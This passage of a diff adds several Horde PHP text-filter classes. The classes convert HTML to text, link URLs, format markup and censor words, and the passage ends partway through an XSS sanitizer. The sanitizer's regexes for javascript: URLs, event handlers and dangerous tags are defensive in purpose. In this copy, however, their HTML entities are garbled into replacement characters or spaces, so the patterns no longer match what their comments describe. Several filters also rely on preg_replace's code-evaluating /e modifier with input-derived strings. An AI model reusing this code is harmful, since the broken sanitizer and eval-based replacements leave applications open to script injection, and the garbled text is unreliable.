+ 'class="widget toggleQuoteShow"' . ($this->_params['hideBlocks'] ? '' : ' style="display:none"') . '>' . htmlspecialchars(sprintf(_("[Show Quoted Text - %d lines]"), $qcount)) . '</span>' .
+ '<span ' . ($this->_params['outputJS'] ? 'onclick="[ this, this.previous(), this.next() ].invoke(\'toggle\')" ' : "") .
+ 'class="widget toggleQuoteHide"' . ($this->_params['hideBlocks'] ? ' style="display:none"' : '') . '>' . htmlspecialchars(_("[Hide Quoted Text]")) . '</span>';
+ }
+
+ $level = 0;
+
+ next($lines);
+ while (list(,$curr) = each($lines)) {
+ if ($level > $curr['level']) {
+ for ($i = $level; $i > $curr['level']; --$i) {
+ $out .= $this->_params['citeblock'] ? '</div>' : '</font>';
+ }
+ } else {
+ for ($i = $level; $i < $curr['level']; ++$i) {
+ /* Add quote block start tags for each cite level. */
+ $out .= ($this->_params['citeblock'] ? '<div class="citation ' : '<font class="') .
+ 'quoted' . (($i % $this->_params['cssLevels']) + 1) . '"' .
+ ((($level == 0) && ($qcount > 8) && $this->_params['hideBlocks']) ? ' style="display:none"' : '') .
+ '>';
+ }
+ }
+
+ $out .= implode("\n", $this->_removeBr($curr['lines']));
+ $level = $curr['level'];
+ }
+
+ for ($i = $level; $i > 0; --$i) {
+ $out .= $this->_params['citeblock'] ? '</div>' : '</font>';
+ }
+
+ return ($qcount > 8)
+ ? $out . '</div>'
+ : $out;
+ }
+
+ /**
+ * Remove leading and trailing BR tags.
+ *
+ * @param array $lines An array of text.
+ *
+ * @return array The array with bare BR tags removed at the beginning and
+ * end.
+ */
+ protected function _removeBr($lines)
+ {
+ /* Remove leading/trailing line breaks. Spacing between quote blocks
+ * will be handled by div CSS. */
+ if (!$this->_params['citeblock']) {
+ return $lines;
+ }
+
+ foreach (array_keys($lines) as $i) {
+ if (!preg_match("/^\s*<br\s*\/>\s*$/i", $lines[$i])) {
+ break;
+ }
+ unset($lines[$i]);
+ }
+
+ foreach (array_reverse(array_keys($lines)) as $i) {
+ if (!preg_match("/^\s*<br\s*\/>\s*$/i", $lines[$i])) {
+ break;
+ }
+ unset($lines[$i]);
+ }
+
+ return $lines;
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * Takes HTML and converts it to formatted, plain text.
+ *
+ * Parameters:
+ * <pre>
+ * charset -- The charset to use for html_entity_decode() calls.
+ * width -- The wrapping width.
+ * wrap -- Whether to wrap the text or not.
+ * </pre>
+ *
+ * Copyright 2003-2004 Jon Abernathy <jon@chuggnutt.com>
+ * Original source: http://www.chuggnutt.com/html2text.php
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Jon Abernathy <jon@chuggnutt.com>
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Html2text extends Horde_Text_Filter
+{
+ /* TODO */
+ static public $linkList;
+ static public $linkCount;
+
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array(
+ 'charset' => null,
+ 'width' => 70,
+ 'wrap' => true
+ );
+
+ /**
+ * Executes any code necessaray before applying the filter patterns.
+ *
+ * @param string $text The text before the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function preProcess($text)
+ {
+ if (is_null($this->_params['charset'])) {
+ $this->_params['charset'] = isset($GLOBALS['_HORDE_STRING_CHARSET']) ? $GLOBALS['_HORDE_STRING_CHARSET'] : 'ISO-8859-1';
+ }
+
+ self::$linkList = '';
+ self::$linkCount = 0;
+
+ return trim($text);
+ }
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ $regexp = array(
+ // Non-legal carriage return.
+ '/\r/' => '',
+
+ // Leading and trailing whitespace.
+ '/^\s*(.*?)\s*$/m' => '\1',
+
+ // Normalize <br>.
+ '/<br[^>]*>([^\n]*)\n/i' => "<br>\\1",
+
+ // Newlines and tabs.
+ '/[\n\t]+/' => ' ',
+
+ // <script>s -- which strip_tags() supposedly has problems with.
+ '/<script[^>]*>.*?<\/script>/i' => '',
+
+ // <style>s -- which strip_tags() supposedly has problems with.
+ '/<style[^>]*>.*?<\/style>/i' => '',
+
+ // Comments -- which strip_tags() might have a problem with.
+ // //'/<!-- .* -->/' => '',
+
+ // h1 - h3
+ '/<h[123][^>]*>(.+?)<\/h[123]> ?/ie' => 'strtoupper("\n\n" . \'\1\' . "\n\n")',
+
+ // h4 - h6
+ '/<h[456][^>]*>(.+?)<\/h[456]> ?/ie' => 'ucwords("\n\n" . \'\1\' . "\n\n")',
+
+ // <p>
+ '/<p[^>]*> ?/i' => "\n\n",
+
+ // <br>/<div>
+ '/<(br|div)[^>]*> ?/i' => "\n",
+
+ // <b>
+ '/<b[^>]*>(.+?)<\/b>/ie' => 'strtoupper(\'\1\')',
+
+ // <strong>
+ '/<strong[^>]*>(.+?)<\/strong>/ie' => 'strtoupper(\'\1\')',
+ '/<span\\s+style="font-weight:\\s*bold.*">(.+?)<\/span>/ie' => 'strtoupper(\'\1\')',
+
+ // <i>
+ '/<i[^>]*>(.+?)<\/i>/i' => '/\\1/',
+
+ // <em>
+ '/<em[^>]*>(.+?)<\/em>/i' => '/\\1/',
+
+ // <u>
+ '/<u[^>]*>(.+?)<\/u>/i' => '_\\1_',
+
+ // <ul>/<ol> and </ul>/</ol>
+ '/(<(u|o)l[^>]*>| ?<\/(u|o)l>) ?/i' => "\n\n",
+
+ // <li>
+ '/ ?<li[^>]*>/i' => "\n * ",
+
+ // <a href="">
+ '/<a href="([^"]+)"[^>]*>(.+?)<\/a>/ie' => 'Horde_Text_Filter_Html2text::buildLinkList(Horde_Text_Filter_Html2text::$linkCount, \'\1\', \'\2\')',
+
+ // <hr>
+ '/<hr[^>]*> ?/i' => "\n-------------------------\n",
+
+ // <table> and </table>
+ '/(<table[^>]*>| ?<\/table>) ?/i' => "\n\n",
+
+ // <tr>
+ '/ ?<tr[^>]*> ?/i' => "\n\t",
+
+ // <td> and </td>
+ '/ ?<td[^>]*>(.+?)<\/td> ?/i' => '\1' . "\t\t",
+ '/\t\t<\/tr>/i' => '',
+
+ // entities
+ '/ /i' => ' ',
+ '/™/i' => '(tm)',
+ '/&#(\d+);/e' => 'Horde_String::convertCharset(Horde_Text_Filter_Html2text::int2Utf8(\'\1\'), "UTF-8", "' . $this->_params['charset'] . '")',
+
+ // Some mailers (e.g. Hotmail) use the following div tag as a way
+ // to define a block of text.
+ '/<div class=rte>(.+?)<\/div> ?/i' => '\1' . "\n"
+ );
+
+ return array('regexp' => $regexp);
+ }
+
+ /**
+ * Executes any code necessaray after applying the filter patterns.
+ *
+ * @param string $text The text after the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function postProcess($text)
+ {
+ /* Convert blockquote tags. */
+ $text = preg_replace(array('/<blockquote [^>]*(type="?cite"?|class="?gmail_quote"?)[^>]*>\n?/',
+ '/\n?<\/blockquote>\n?/is'),
+ array(chr(0), chr(1)),
+ $text);
+ if (strpos($text, chr(0)) !== false) {
+ $text = $this->_blockQuote($text);
+ }
+
+ /* Strip any other HTML tags. */
+ $text = strip_tags($text);
+
+ /* Convert HTML entities. */
+ $trans = array_flip(get_html_translation_table(HTML_ENTITIES));
+ $trans = Horde_String::convertCharset($trans, 'ISO-8859-1', $this->_params['charset']);
+ $text = strtr($text, $trans);
+
+ /* Bring down number of empty lines to 2 max. */
+ $text = preg_replace("/\n[[:space:]]+\n/", "\n\n", $text);
+ $text = preg_replace("/[\n]{3,}/", "\n\n", $text);
+
+ /* Wrap the text to a readable format. */
+ if ($this->_params['wrap']) {
+ $text = wordwrap($text, $this->_params['width']);
+ }
+
+ /* Add link list. */
+ if (!empty(self::$linkList)) {
+ $text .= "\n\n" . _("Links") . ":\n" .
+ str_repeat('-', Horde_String::length(_("Links")) + 1) . "\n" .
+ self::$linkList;
+ }
+
+ return $text;
+ }
+
+ /**
+ * Replaces blockquote tags with > quotes.
+ *
+ * @param string $text The text to quote.
+ *
+ * @return string The quoted text.
+ */
+ protected function _blockQuote($text)
+ {
+ return preg_replace(
+ '/([^\x00\x01]*)\x00(((?>[^\x00\x01]*)|(?R))*)\x01([^\x00\x01]*)/se',
+ "stripslashes('$1') . \"\n\n\" . \$this->_quote('$2') . \"\n\n\" . stripslashes('$4')",
+ $text);
+ }
+
+ /**
+ * Quotes a chunk of text.
+ *
+ * @param string $text The text to quote.
+ *
+ * @return string The quoted text.
+ */
+ protected function _quote($text)
+ {
+ $text = stripslashes($text);
+ if (strpos($text, chr(0)) !== false) {
+ $text = stripslashes($this->_blockQuote($text));
+ }
+
+ $text = trim(strip_tags($text));
+ if ($this->_params['wrap']) {
+ $text = wordwrap($text, $this->_params['width'] - 2);
+ }
+
+ return preg_replace(array('/^/m', '/(\n>\s*$){3,}/m', '/^>\s+$/m'),
+ array('> ', "\n> ", '>'),
+ $text);
+ }
+
+ /**
+ * Returns the UTF-8 character sequence of a Unicode value.
+ *
+ * @param integer $num A Unicode value.
+ *
+ * @return string The UTF-8 string.
+ */
+ static public function int2Utf8($num)
+ {
+ if ($num < 128) {
+ return chr($num);
+ }
+ if ($num < 2048) {
+ return chr(($num >> 6) + 192) . chr(($num & 63) + 128);
+ }
+ if ($num < 65536) {
+ return chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) .
+ chr(($num & 63) + 128);
+ }
+ if ($num < 2097152) {
+ return chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) .
+ chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
+ }
+ return '';
+ }
+
+ /**
+ * Helper function called by preg_replace() on link replacement.
+ *
+ * Maintains an internal list of links to be displayed at the end
+ * of the text, with numeric indices to the original point in the
+ * text they appeared.
+ *
+ * @param integer $link_count Counter tracking current link number.
+ * @param string $link URL of the link.
+ * @param string $display Part of the text to associate number with.
+ *
+ * @return string The link replacement.
+ */
+ static public function buildLinkList($link_count, $link, $display)
+ {
+ if ($link == strip_tags($display)) {
+ return $display;
+ }
+ $parsed_link = parse_url($link);
+ $parsed_display = parse_url(strip_tags(preg_replace('/^<|>$/', '', $display)));
+ if (isset($parsed_link['path'])) {
+ $parsed_link['path'] = trim($parsed_link['path'], '/');
+ if (!strlen($parsed_link['path'])) {
+ unset($parsed_link['path']);
+ }
+ }
+ if (isset($parsed_display['path'])) {
+ $parsed_display['path'] = trim($parsed_display['path'], '/');
+ if (!strlen($parsed_display['path'])) {
+ unset($parsed_display['path']);
+ }
+ }
+ if (((!isset($parsed_link['host']) &&
+ !isset($parsed_display['host'])) ||
+ (isset($parsed_link['host']) &&
+ isset($parsed_display['host']) &&
+ $parsed_link['host'] == $parsed_display['host'])) &&
+ ((!isset($parsed_link['path']) &&
+ !isset($parsed_display['path'])) ||
+ (isset($parsed_link['path']) &&
+ isset($parsed_display['path']) &&
+ $parsed_link['path'] == $parsed_display['path']))) {
+ return $display;
+ }
+
+ self::$linkCount++;
+ self::$linkList .= '[' . self::$linkCount . "] $link\n";
+ return $display . '[' . self::$linkCount . ']';
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * The Horde_Text_Filter_Linkurls:: class turns all URLs in the text into
+ * hyperlinks.
+ *
+ * Parameters:
+ * <pre>
+ * target -- The link target. Defaults to _blank.
+ * class -- The CSS class of the generated links. Defaults to none.
+ * nofollow -- Whether to set the 'rel="nofollow"' attribute on links.
+ * callback -- An optional callback function that the URL is passed through
+ * before being set as the href attribute. Must be a string with
+ * the function name, the function must take the original as the
+ * first and only parameter.
+ * encode -- Whether to escape special HTML characters in the URLs and
+ * finally "encode" the complete tag so that it can be decoded
+ * later with the decode() method. This is useful if you want to
+ * run htmlspecialchars() or similar *after* using this filter.
+ * </pre>
+ *
+ * Copyright 2003-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Tyler Colbert <tyler@colberts.us>
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Linkurls extends Horde_Text_Filter
+{
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array(
+ 'callback' => null,
+ 'class' => '',
+ 'encode' => false,
+ 'nofollow' => false,
+ 'target' => '_blank'
+ );
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ $class = $this->_params['class'];
+ if (!empty($class)) {
+ $class = ' class="' . $class . '"';
+ }
+ $nofollow = $this->_params['nofollow'] ? ' rel="nofollow"' : '';
+
+ $replacement = $this->_params['callback']
+ ? '\' . ' . $this->_params['callback'] . '(\'$0\') . \''
+ : '$0';
+ if ($this->_params['encode']) {
+ $replacement = 'chr(0).chr(0).chr(0).base64_encode(\'<a href="\'.htmlspecialchars(\'' . $replacement . '\').\'"' . $nofollow . ' target="_blank"' . $class . '>\'.htmlspecialchars(\'$0\').\'</a>\').chr(0).chr(0).chr(0)';
+ } else {
+ $replacement = '\'<a href="' . $replacement . '"' . $nofollow
+ . ' target="_blank"' . $class . '>$0</a>\'';
+ }
+
+ $regexp = array('|([\w+-]{1,20})://([^\s"<]*[\w+#?/&=])|e' =>
+ $replacement);
+
+ return array('regexp' => $regexp);
+ }
+
+ /**
+ * "Decodes" the text formerly encoded by using the "encode" parameter.
+ *
+ * @param string $text An encoded text.
+ *
+ * @return string The decoded text.
+ */
+ static public function decode($text)
+ {
+ return preg_replace('/\00\00\00([\w=+\/]*)\00\00\00/e', 'base64_decode(\'$1\')', $text);
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * Highlights simple markup as used in emails or usenet postings.
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Simplemarkup extends Horde_Text_Filter
+{
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ return array('regexp' => array(
+ // Bold.
+ '/(^|\s| |<br \/>)(\*[^*\s]+\*)(\s| |<br|\.)/i' => '\1<strong>\2</strong>\3',
+
+ // Underline.
+ '/(^|\s| |<br \/>)(_[^_\s]+_)(\s| |<br|\.)/i' => '\1<u>\2</u>\3',
+
+ // Italic.
+ ';(^|\s| \;|<br />)(/[^/\s]+/)(\s| \;|<br|\.);i' => '\1<em>\2</em>\3')
+ );
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * The space2html filter converts horizontal whitespace to HTML code.
+ *
+ * Parameters:
+ * <pre>
+ * encode -- HTML encode the text? Defaults to false.
+ * charset -- Charset of the text. Defaults to ISO-8859-1.
+ * encode_all -- Replace all spaces with ? Defaults to false.
+ * </pre>
+ *
+ * Copyright 2001-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Jan Schneider <jan@horde.org>
+ * @author Mathieu Arnold <mat@mat.cc>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Space2html extends Horde_Text_Filter
+{
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array(
+ 'charset' => 'ISO-8859-1',
+ 'encode' => false,
+ 'encode_all' => false
+ );
+
+ /**
+ * Executes any code necessary before applying the filter patterns.
+ *
+ * @param string $text The text before the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function preProcess($text)
+ {
+ if ($this->_params['encode']) {
+ $text = @htmlspecialchars($text, ENT_COMPAT, $this->_params['charset']);
+ }
+ return $text;
+ }
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ return array(
+ 'replace' => array(
+ "\t" => ' ',
+ ' ' => ' '
+ )
+ );
+ }
+
+ /**
+ * Executes any code necessaray after applying the filter patterns.
+ *
+ * @param string $text The text after the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function postProcess($text)
+ {
+ $text = str_replace(' ', ' ', $text);
+ if ($this->_params['encode_all']) {
+ $text = str_replace(' ', ' ', $text);
+ }
+ return $text;
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * The Horde_Text_Filter_Tabs2spaces:: converts tabs into spaces.
+ *
+ * TODO: parameters (breakchar, tabstop)
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Chuck Hagenbuch <chuck@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Tabs2spaces extends Horde_Text_Filter
+{
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array(
+ 'breakchar' => "\n",
+ 'tabstop' => 8
+ );
+
+ /**
+ * Executes any code necessary before applying the filter patterns.
+ *
+ * @param string $text The text before the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function preProcess($text)
+ {
+ $lines = explode($this->_params['breakchar'], $text);
+ for ($i = 0, $l = count($lines); $i < $l; ++$i) {
+ while (($pos = strpos($lines[$i], "\t")) !== false) {
+ $new_str = str_repeat(' ', $this->_params['tabstop'] - ($pos % $this->_params['tabstop']));
+ $lines[$i] = substr_replace($lines[$i], $new_str, $pos, 1);
+ }
+ }
+ return implode("\n", $lines);
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * Turn text into HTML with varying levels of parsing. For no html
+ * whatsoever, use htmlspecialchars() instead.
+ *
+ * Parameters:
+ * <pre>
+ * parselevel -- The parselevel of the output. See the list of constants below.
+ * charset -- The charset to use for htmlspecialchars() calls.
+ * class -- The CSS class name for the links.
+ * nofollow -- Whether to set the 'rel="nofollow"' attribute on links.
+ * callback -- An optional callback function that the URL is passed through
+ * before being set as the href attribute. Must be a string with
+ * the function name, the function must take the original as the
+ * first and only parameter.
+ * </pre>
+ *
+ * <pre>
+ * List of valid constants for the parse level:
+ * --------------------------------------------
+ * PASSTHRU = No action. Pass-through. Included for completeness.
+ * SYNTAX = Allow full html, also do line-breaks, in-lining,
+ * syntax-parsing.
+ * MICRO = Micro html (only line-breaks, in-line linking).
+ * MICRO_LINKURL = Micro html (only line-breaks, in-line linking of URLS;
+ * no email addresses are linked).
+ * NOHTML = No html (all stripped, only line-breaks)
+ * NOHTML_NOBREAK = No html whatsoever, no line breaks added.
+ * Included for completeness.
+ * </pre>
+ *
+ * Copyright 2002-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Chuck Hagenbuch <chuck@horde.org>
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Text2html extends Horde_Text_Filter
+{
+ /* TODO */
+ const PASSTHRU = 0;
+ const SYNTAX = 1;
+ const MICRO = 2;
+ const MICRO_LINKURL = 3;
+ const NOHTML = 4;
+ const NOHTML_NOBREAK = 5;
+
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array(
+ 'callback' => 'Horde::externalUrl',
+ 'charset' => null,
+ 'class' => 'fixed',
+ 'nofollow' => false
+ );
+
+ /**
+ * Constructor.
+ *
+ * @param array $params Any parameters that the filter instance needs.
+ */
+ public function __construct($params = array())
+ {
+ parent::__construct($params);
+
+ // Use ISO-8859-1 instead of US-ASCII
+ if (Horde_String::lower($this->_params['charset']) == 'us-ascii') {
+ $this->_params['charset'] = 'iso-8859-1';
+ }
+ }
+
+ /**
+ * Executes any code necessary before applying the filter patterns.
+ *
+ * @param string $text The text before the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function preProcess($text)
+ {
+ if (is_null($this->_params['charset'])) {
+ $this->_params['charset'] = isset($GLOBALS['_HORDE_STRING_CHARSET'])
+ ? $GLOBALS['_HORDE_STRING_CHARSET']
+ : 'ISO-8859-1';
+ }
+
+ /* Abort out on simple cases. */
+ if ($this->_params['parselevel'] == self::PASSTHRU) {
+ return $text;
+ }
+
+ if ($this->_params['parselevel'] == self::NOHTML_NOBREAK) {
+ return @htmlspecialchars($text, ENT_COMPAT, $this->_params['charset']);
+ }
+
+ if ($this->_params['parselevel'] < self::NOHTML) {
+ $filters = array('linkurls' => array('callback' => $this->_params['callback'], 'nofollow' => $this->_params['nofollow'], 'encode' => true));
+ if ($this->_params['parselevel'] < self::MICRO_LINKURL) {
+ $filters['emails'] = array('encode' => true);
+ }
+ $text = parent::filter($text, array_keys($filters), array_values($filters));
+ }
+
+ /* For level MICRO or NOHTML, start with htmlspecialchars(). */
+ $old_error = error_reporting(0);
+ $text2 = htmlspecialchars($text, ENT_COMPAT, $this->_params['charset']);
+
+ /* Bad charset input in may result in an empty string. If so, try
+ * using the default charset encoding instead. */
+ if (!$text2) {
+ $text2 = htmlspecialchars($text, ENT_COMPAT);
+ }
+ $text = $text2;
+ error_reporting($old_error);
+
+ /* Do in-lining of http://xxx.xxx to link, xxx@xxx.xxx to email. */
+ if ($this->_params['parselevel'] < self::NOHTML) {
+ $text = Horde_Text_Filter_Linkurls::decode($text);
+ if ($this->_params['parselevel'] < self::MICRO_LINKURL) {
+ $text = Horde_Text_Filter_Emails::decode($text);
+ }
+
+ $text = parent::filter($text, 'space2html');
+ }
+
+ /* Do the newline ---> <br /> substitution. Everybody gets this; if
+ * you don't want even that, just use htmlspecialchars(). */
+ return nl2br($text);
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * Filters the given text based on the words found in a word list
+ * file.
+ *
+ * Parameters:
+ * <pre>
+ * words_file -- Filename containing the words to replace.
+ * replacement -- The replacement string. Defaults to "*****".
+ * </pre>
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Words extends Horde_Text_Filter
+{
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array(
+ 'replacement' => '*****'
+ );
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ $regexp = array();
+
+ if (is_readable($this->_params['words_file'])) {
+ /* Read the file and iterate through the lines. */
+ $lines = file($this->_params['words_file']);
+ foreach ($lines as $line) {
+ /* Strip whitespace and comments. */
+ $line = preg_replace('|#.*$|', '', trim($line));
+
+ /* Filter the text. */
+ if (!empty($line)) {
+ $regexp["/(\b(\w*)$line\b|\b$line(\w*)\b)/i"] = $this->_getReplacement($line);
+ }
+ }
+ }
+
+ return array('regexp' => $regexp);
+ }
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ protected function _getReplacement($line)
+ {
+ return $this->_params['replacement']
+ ? $this->_params['replacement']
+ :substr($line, 0, 1) . str_repeat('*', strlen($line) - 1);
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * This filter attempts to make HTML safe for viewing. IT IS NOT PERFECT. If
+ * you enable HTML viewing, you are opening a security hole. With the current
+ * state of the web, I believe that the best we can do is to make sure that
+ * people *KNOW* HTML is a security hole, clean up what we can, and leave it
+ * at that.
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Xss extends Horde_Text_Filter
+{
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array(
+ 'body_only' => true,
+ 'replace' => 'XSSCleaned',
+ 'strip_styles' => true,
+ 'strip_style_attributes' => true
+ );
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ $patterns = array();
+
+ /* Remove all control characters. */
+ $patterns['/[\x00-\x08\x0e-\x1f]/'] = '';
+
+ /* Removes HTML comments (including some scripts & styles). */
+ if ($this->_params['strip_styles']) {
+ $patterns['/<!--.*?-->/s'] = '';
+ }
+
+ /* Change space entities to space characters. */
+ $patterns['/&#(?:x0*20|0*32);?/i'] = ' ';
+
+ /* If we have a semicolon, it is deterministically detectable and
+ * fixable, without introducing collateral damage. */
+ $patterns['/&#x?0*(?:[9A-D]|1[0-3]);/i'] = ' ';
+
+ /* Hex numbers (usually having an x prefix) are also deterministic,
+ * even if we don't have the semi. Note that some browsers will treat
+ * &#a or �a as a hex number even without the x prefix; hence /x?/
+ * which will cover those cases in this rule. */
+ $patterns['/&#x?0*[9A-D]([^0-9A-F]|$)/i'] = ' \\1';
+
+ /* Decimal numbers without trailing semicolons. The problem is that
+ * some browsers will interpret 
a as "\na", some as "Ċ" so we
+ * have to clean the 
 to be safe for the "\na" case at the expense
+ * of mangling a valid entity in other cases. (Solution for valid HTML
+ * authors: always use the semicolon.) */
+ $patterns['/�*(?:9|1[0-3])([^0-9]|$)/i'] = ' \\1';
+
+ /* Remove overly long numeric entities. */
+ $patterns['/&#x?0*[0-9A-F]{6,};?/i'] = ' ';
+
+ /* Remove everything outside of and including the <html> and <body>
+ * tags. */
+ if ($this->_params['body_only']) {
+ $patterns['/^.*<(?:body|html)[^>]*>/si'] = '';
+ $patterns['/<\/(?:body|html)>.*$/si'] = '';
+ }
+
+ /* Get all attribute="javascript:foo()" tags. This is essentially the
+ * regex /(=|url\()("?)[^>]*script:/ but expanded to catch camouflage
+ * with spaces and entities. */
+ $preg = '/((=|�*61;?|�*3D;?)|' .
+ '((u|�*85;?|�*55;?|�*117;?|�*75;?|\\\\0*75)\s*' .
+ '(r|�*82;?|�*52;?|�*114;?|�*72;?|\\\\0*72)\s*' .
+ '(l|�*76;?|�*4c;?|�*108;?|�*6c;?|\\\\0*6c)\s*' .
+ '(\(|\\\\0*28)))\s*' .
+ '(\'|�*34;?|�*22;?|"|�*39;?|�*27;?)?' .
+ '[^>]*\s*' .
+ '(s|�*83;?|�*53;?|�*115;?|�*73;?|\\\\0*73)\s*' .
+ '(c|�*67;?|�*43;?|�*99;?|�*63;?|\\\\0*63)\s*' .
+ '(r|�*82;?|�*52;?|�*114;?|�*72;?|\\\\0*72)\s*' .
+ '(i|�*73;?|�*49;?|�*105;?|�*69;?|\\\\0*69)\s*' .
+ '(p|�*80;?|�*50;?|�*112;?|�*70;?|\\\\0*70)\s*' .
+ '(t|�*84;?|�*54;?|�*116;?|�*74;?|\\\\0*74)\s*' .
+ '(:|�*58;?|�*3a;?|\\\\0*3a)/i';
+ $patterns[$preg] = '\1\8' . $this->_params['replace'];
+
+ /* Get all on<foo>="bar()". NEVER allow these. */
+ $patterns['/([\s"\'\/]+' .
+ '(o|�*79;?|�*4f;?|�*111;?|�*6f;?)' .
+ '(n|�*78;?|�*4e;?|�*110;?|�*6e;?)' .
+ '\w+)[^=a-z0-9"\'>]*=/i'] = '\1' . $this->_params['replace'] . '=';
+
+ /* Remove all scripts since they might introduce garbage if they are
+ * not quoted properly. */
+ $patterns['|<script[^>]*>.*?</script>|is'] = '<' . $this->_params['replace'] . '_script />';
+
+ /* Get all tags that might cause trouble - <object>, <embed>,
+ * <applet>, etc. Meta refreshes and iframes, too. */
+ $malicious = array(
+ '/<([^>a-z]*)' .
+ '(?:s|�*83;?|�*53;?|�*115;?|�*73;?)\s*' .
+ '(?:c|�*67;?|�*43;?|�*99;?|�*63;?)\s*' .
+ '(?:r|�*82;?|�*52;?|�*114;?|�*72;?)\s*' .
+ '(?:i|�*73;?|�*49;?|�*105;?|�*69;?)\s*' .
+ '(?:p|�*80;?|�*50;?|�*112;?|�*70;?)\s*' .
+ '(?:t|�*84;?|�*54;?|�*116;?|�*74;?)(\s*)/i',
+
+ '/<([^>a-z]*)' .
+ '(?:e|�*69;?|�*45;?|�*101;?|�*65;?)\s*' .
+ '(?:m|�*77;?|�*4d;?|�*109;?|�*6d;?)\s*' .
+ '(?:b|�*66;?|�*42;?|�*98;?|�*62;?)\s*' .
+ '(?:e|�*69;?|�*45;?|�*101;?|�*65;?)\s*' .
+ '(?:d|�*68;?|�*44;?|�*100;?|�*64;?)(\s*)/i',
+
+ '/<([^>a-z]*)' .
+ '(?:x|�*88;?|�*58;?|�*120;?|�*78;?)\s*' .
+ '(?:m|�*77;?|�*4d;?|�*109;?|�*6d;?)\s*' .
+ '(?:l|�*76;?|�*4c;?|�*108;?|�*6c;?)(\s*)/i',
+
+ '/<([^>a-z]*)\?([^>a-z]*)' .
+ '(?:i|�*73;?|�*49;?|�*105;?|�*69;?)\s*' .
+ '(?:m|�*77;?|�*4d;?|�*109;?|�*6d;?)\s*' .
+ '(?:p|�*80;?|�*50;?|�*112;?|�*70;?)\s*' .
+ '(?:o|�*79;?|�*4f;?|�*111;?|�*6f;?)\s*' .
+ '(?:r|�*82;?|�*52;?|�*114;?|�*72;?)\s*' .
+ '(?:t|�*84;?|�*54;?|�*116;?|�*74;?)(\s*)/i',
+
+ '/<([^>a-z]*)' .
+ '(?:m|�*77;?|�*4d;?|�*109;?|�*6d;?)\s*' .
+ '(?:e|�*69;?|�*45;?|�*101;?|�*65;?)\s*' .
+ '(?:t|�*84;?|�*54;?|�*116;?|�*74;?)\s*' .
